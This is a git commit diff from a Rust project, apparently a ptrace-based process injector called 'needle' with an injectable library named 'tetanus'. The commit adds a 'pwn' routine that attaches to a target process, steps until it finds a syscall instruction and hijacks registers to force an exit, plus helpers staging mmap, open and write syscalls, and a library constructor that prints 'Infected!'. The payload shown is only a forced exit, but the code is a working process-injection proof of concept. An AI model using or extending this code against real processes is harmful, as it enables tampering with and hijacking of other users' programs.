feat: PoC execute exit syscall in target process

This commit is contained in:
əlemi 2023-03-26 21:03:32 +02:00
parent eba719fb61
commit 67cd814c99
Signed by: alemi
GPG key ID: A4895B84D311642C
4 changed files with 95 additions and 11 deletions

View file

@ -5,10 +5,11 @@ edition = "2021"
[lib]
name = "tetanus"
crate-type = ["cdylib"]
path = "src/lib.rs"
[[bin]]
name = "rustyneedle"
name = "needle"
path = "src/main.rs"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

View file

@ -1,4 +1,4 @@
#[ctor::ctor]
fn constructor() {
println!("Hello world!");
println!("Infected!");
}

View file

@ -1,6 +1,9 @@
mod syscalls;
use std::ffi::c_void;
use nix::{sys::ptrace, unistd::Pid, errno::Errno};
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
use clap::Parser;
use syscalls::prepare_exit;
#[derive(Parser, Debug)]
#[command(author, version, about, long_about = None)]
@ -13,7 +16,7 @@ struct NeedleArgs {
word: u32,
}
pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<(), Errno> {
pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<()> {
let mut buffer = payload.to_vec();
while buffer.len() % word as usize != 0 {
@ -31,6 +34,53 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8], word:u32) -> Result<(
Ok(())
}
pub fn pwn(pid: Pid, _word_size: usize) -> Result<()> {
let mut prev_regs;
let mut insn_addr;
let mut curr_instr;
loop {
prev_regs = ptrace::getregs(pid)?;
insn_addr = prev_regs.rip;
curr_instr = ptrace::read(pid, insn_addr as *mut c_void)?;
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
if curr_instr & 0xFFFF == 0x050F {
// println!("found syscall!");
break;
}
ptrace::step(pid, None)?;
waitpid(pid, None)?;
}
// // Put syscall opcodes
// let mut syscall_insn = vec![0x00u8; word_size/8];
// syscall_insn[0] = 0x05; // it's two!
// syscall_insn[1] = 0x0F;
// unsafe {
// ptrace::write(pid, insn_addr, syscall_insn.as_slice().as_ptr() as *mut c_void)?;
// }
let mut call_regs = prev_regs.clone();
// call_regs.rip = insn_addr;
prepare_exit(&mut call_regs, 69);
ptrace::setregs(pid, call_regs)?;
ptrace::step(pid, None)?;
waitpid(pid, None)?;
// restore code and registers
// unsafe {
// ptrace::write(pid, insn_addr, prev_instr.as_ptr() as *mut c_void)?;
// }
// ptrace::setregs(pid, prev_regs)?;
Ok(())
}
fn main() {
let args = NeedleArgs::parse();
let pid = Pid::from_raw(args.pid);
@ -40,15 +90,17 @@ fn main() {
return;
}
println!("Attached to process #{}", args.pid);
let shellcode = [42; 20];
if let Err(e) = write_buffer(pid, 0x66666, &shellcode, args.word) {
eprintln!("Failed writing shellcode into process memory space: {}", e);
if let Err(e) = waitpid(pid, None) {
eprintln!("Failed waiting for process to stop : {}", e);
}
if let Err(e) = ptrace::cont(pid, None) {
println!("Attached to process #{}", args.pid);
if let Err(e) = pwn(pid, args.word as usize) {
eprintln!("Could not pwn : {}", e);
}
if let Err(e) = ptrace::detach(pid, None) {
eprintln!("Could not resume process : {}", e);
} else {
println!("Released process #{}", args.pid);

31
src/syscalls.rs Normal file
View file

@ -0,0 +1,31 @@
use nix::libc::user_regs_struct;
fn prepare_for_syscall(regs: &mut user_regs_struct, rax: u64, rdi: u64, rsi: u64, rdx: u64, r10: u64, r8: u64, r9: u64) {
regs.rax = rax;
regs.rdi = rdi;
regs.rsi = rsi;
regs.rdx = rdx;
regs.r10 = r10;
regs.r8 = r8;
regs.r9 = r9;
}
#[allow(unused)]
pub fn prepare_mmap(regs: &mut user_regs_struct, addr: u64, len: u64, prot: u64, flags: u64, fd: u64, off: u64) {
prepare_for_syscall(regs, 9, addr, len, prot, flags, fd, off);
}
#[allow(unused)]
pub fn prepare_open(regs: &mut user_regs_struct, filename: &str, flags: u64, mode: u64) {
prepare_for_syscall(regs, 2, filename.as_ptr() as u64, flags, mode, 0, 0, 0);
}
#[allow(unused)]
pub fn prepare_write(regs: &mut user_regs_struct, fd: u64, buf: &str, count: usize) {
prepare_for_syscall(regs, 1, fd, buf.as_ptr() as u64, count as u64, 0, 0, 0);
}
#[allow(unused)]
pub fn prepare_exit(regs: &mut user_regs_struct, error_code: i64) {
prepare_for_syscall(regs, 60, error_code as u64, 0, 0, 0, 0, 0);
}